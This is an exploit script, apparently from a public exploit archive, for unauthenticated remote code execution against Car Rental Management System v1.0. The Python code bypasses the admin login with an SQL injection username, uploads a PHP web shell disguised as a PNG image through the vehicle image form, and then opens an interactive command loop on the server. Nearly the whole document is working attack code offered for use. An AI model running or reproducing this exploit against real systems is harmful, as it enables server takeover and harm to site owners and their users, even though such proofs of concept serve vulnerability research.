Car Rental Management System 1.0 Remote Code Execution

Car Rental Management System version 1.0 unauthenticated remote code execution exploit.


MD5 | fc76a860fbf88ef19ed2574d10b76719

# Exploit Title: Car Rental Management System v1.0 - Unauthenticated RCE
# Exploit Author: Adeeb Shah (@hyd3sec)
# Shout out: Bobby Cooke (boku)
# Date: August 3, 2020
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/free-projects/php-projects/car-rental-project-in-php-and-mysql/
# Version: 1.0
# Tested On: Windows 10 (x64_86) + XAMPP | Python 2.7
# Vulnerability Description:
# Car Rental Management System v1.0 suffers from a SQLi authentication bypass allowing remote attackers
# to gain remote code execution (RCE) on the hosting webserver via uploading a maliciously crafted image.

import requests, sys, re
from colorama import Fore, Back, Style
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}
F = [Fore.RESET,Fore.BLACK,Fore.RED,Fore.GREEN,Fore.YELLOW,Fore.BLUE,Fore.MAGENTA,Fore.CYAN,Fore.WHITE]
B = [Back.RESET,Back.BLACK,Back.RED,Back.GREEN,Back.YELLOW,Back.BLUE,Back.MAGENTA,Back.CYAN,Back.WHITE]
S = [Style.RESET_ALL,Style.DIM,Style.NORMAL,Style.BRIGHT]
info = S[3]+F[5]+'['+S[0]+S[3]+'-'+S[3]+F[5]+']'+S[0]+' '
err = S[3]+F[2]+'['+S[0]+S[3]+'!'+S[3]+F[2]+']'+S[0]+' '
ok = S[3]+F[3]+'['+S[0]+S[3]+'+'+S[3]+F[3]+']'+S[0]+' '

def webshell(SERVER_URL, WEBSHELL_PATH, session):
try:
WEB_SHELL = SERVER_URL + WEBSHELL_PATH
print(info+"Webshell URL: "+ WEB_SHELL)
getdir = {'s33k': 'echo %CD%'}
req = session.post(url=WEB_SHELL, data=getdir, verify=False)
status = req.status_code
if status != 200:
print(err+"Could not connect to the webshell.")
req.raise_for_status()
print(ok+'Successfully connected to webshell.')
cwd = re.findall('[CDEF].*', req.text)
cwd = cwd[0]+"> "
term = S[3]+F[3]+cwd+F[0]
print(F[0]+'......................'+' Remote Code Execution '+F[0]+'.....................')
while True:
cmd = raw_input(term)
command = {'s33k': cmd}
req = requests.post(WEB_SHELL, data=command, verify=False)
status = req.status_code
if status != 200:
req.raise_for_status()
resp= req.text
print(resp)
except:
print('\r\n'+err+'Webshell session failed. Quitting.')
sys.exit(-1)

def SIG():
SIG = S[1]+" ,(&@@@@* ,@@@@@@%( \n"
SIG += " &@@@@@@@@@@@@@@@& @@@@@@@@@@@@@( \n"
SIG += " *@@@@@@@@@@@@%@@@@@@ ,, `''@@@/ ,@@ \n"
SIG += " @@@@@@@@@# /@@@@@@ #@@@@@@@@@&. * /@@@@@@ \n"
SIG += " @@(@@@@@ /@@@@@@ @@@@@@@@@@@@@@@` @@@@@@ @@ \n"
SIG += " @@ , @@@@@@@@ #@@@@@@@@@@@@@@ &@@@ %@.\n"
SIG += " @@ %@@@@@@@@@@ %@@@@@@@@@@@@@@. /@#\n"
SIG += " %@ /@@@@@@@@@@ &@@@@@@@@@@ &@ \n"
SIG += " @@ # ...*&@@@@@@@@@@@* @@ \n"
SIG += " ,&@@@@& /@@@@"+S[0]+S[3]+"@hyd3sec"+S[0]+S[1]+"@@@@@ (@@@@@% \n"
SIG += " @@@@ (@@%@@@@@@@@@/@@ *@@@% \n"
SIG += " @@@@@@,*@@@@@ %@@@@@@ \n"
SIG += " @@@@@# @ @@@@@% \n"
SIG += " &@@@@@ @@@@@ \n"
SIG += " @@@@@@ @@@@@* \n"
SIG += " (@@@@@@@@@@@ \n"
SIG += " @@&%@@@ @@@ \n"
SIG += " @@( @@ @@ \n"
SIG += " &* & @ \n"
return SIG

def formatHelp(STRING):
return S[3]+F[2]+STRING+S[0]

def header():
head = S[2]+F[4]+' --- Car Rental Management System v1.0 - Unauthenticated Remote Code Execution (RCE) ---\n'+S[0]
return head

if __name__ == "__main__":
#1 | INIT
print(header())
print(SIG())
if len(sys.argv) != 2:
print(err+formatHelp("Usage:\t python %s <WEBAPP_URL>" % sys.argv[0]))
print(err+formatHelp("Example:\t python %s 'http://192.168.222.132/car-Rental-syatem-PHP-MYSQL-master/'" % sys.argv[0]))
sys.exit(-1)
# python CLI Arguments
SERVER_URL = sys.argv[1]
# URLs
LOGIN_URL = sys.argv[1] + 'login.php'
UPLOAD_URL = SERVER_URL + 'admin/add_cars.php'
#BYPASS VARS
USERNAME = '\' or 1=1-- admin'
PASSWORD = 'hyd3secboku'

#2 | Create Session
# Create a web session in python
s = requests.Session()
# GET request to webserver - Start a session & retrieve a session cookie
get_session = s.get(sys.argv[1], verify=False)
# Check connection to website & print session cookie to terminal OR die
if get_session.status_code == 200:
print(ok+'Successfully connected to Car Rental Management System server & created session.')
print(info+"Session Cookie: " + get_session.headers['Set-Cookie'])
else:
print(err+'Cannot connect to the server and create a web session.')
sys.exit(-1)
# POST data to bypass authentication as admin
login_data = {'uname':USERNAME, 'pass':PASSWORD,'login':'Login Here'}
print(info+"Attempting to Bypass Admin Login")
#auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
auth = s.post(url=LOGIN_URL, data=login_data, verify=False)
loginchk = str(re.findall(r'Login Successful', auth.text))
# print(loginchk) # Debug - search login response for successful login
if loginchk == "[u'Login Successful']":
print(ok+"Bypass successful.")
else:
print(err+"Failed login. Check admin username.")
sys.exit(-1)

#3 | File Upload
PNG_magicBytes = '\x87\x50\x4e\x47\x0d\x0a\x1a'
# Content-Disposition: form-data; name="image"; filename="file.php"
# Content-Type: application/x-php
websh = {
'image':
(
'hyd3.php',
'<?php echo shell_exec($_REQUEST["s33k"]); ?>',
'image/png',
{'Content-Disposition': 'form-data'}
)
}
fdata = {'send':'lolz'}
print(info+"Exploiting vehicle image file upload vulnerability to upload a PHP webshell")
#upload_car = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False, proxies=proxies)
upload_car = s.post(url=UPLOAD_URL, files=websh, data=fdata, verify=False)

#4 | Get Webshell Upload Name
uploadchk = re.findall(r'Vehicle Succesfully Added', upload_car.text)
#print uploadchk[0]
#uploadchk = uploadchk[0]
# print(uploadchk) # Debug - Find webshell file upload in response
#print uploadchk
#uploadchk = uploadchk[0]
if uploadchk[0] == "Vehicle Succesfully Added":
print(ok+"Successfully uploaded webshell")
else:
print(err+"Webshell upload failed.")
sys.exit(-1)
webshPath = 'cars/hyd3.php'
print(info+"Webshell Filename: " + webshPath)

#5 | interact with webshell for Remote Command Execution
webshell(SERVER_URL, webshPath, s)

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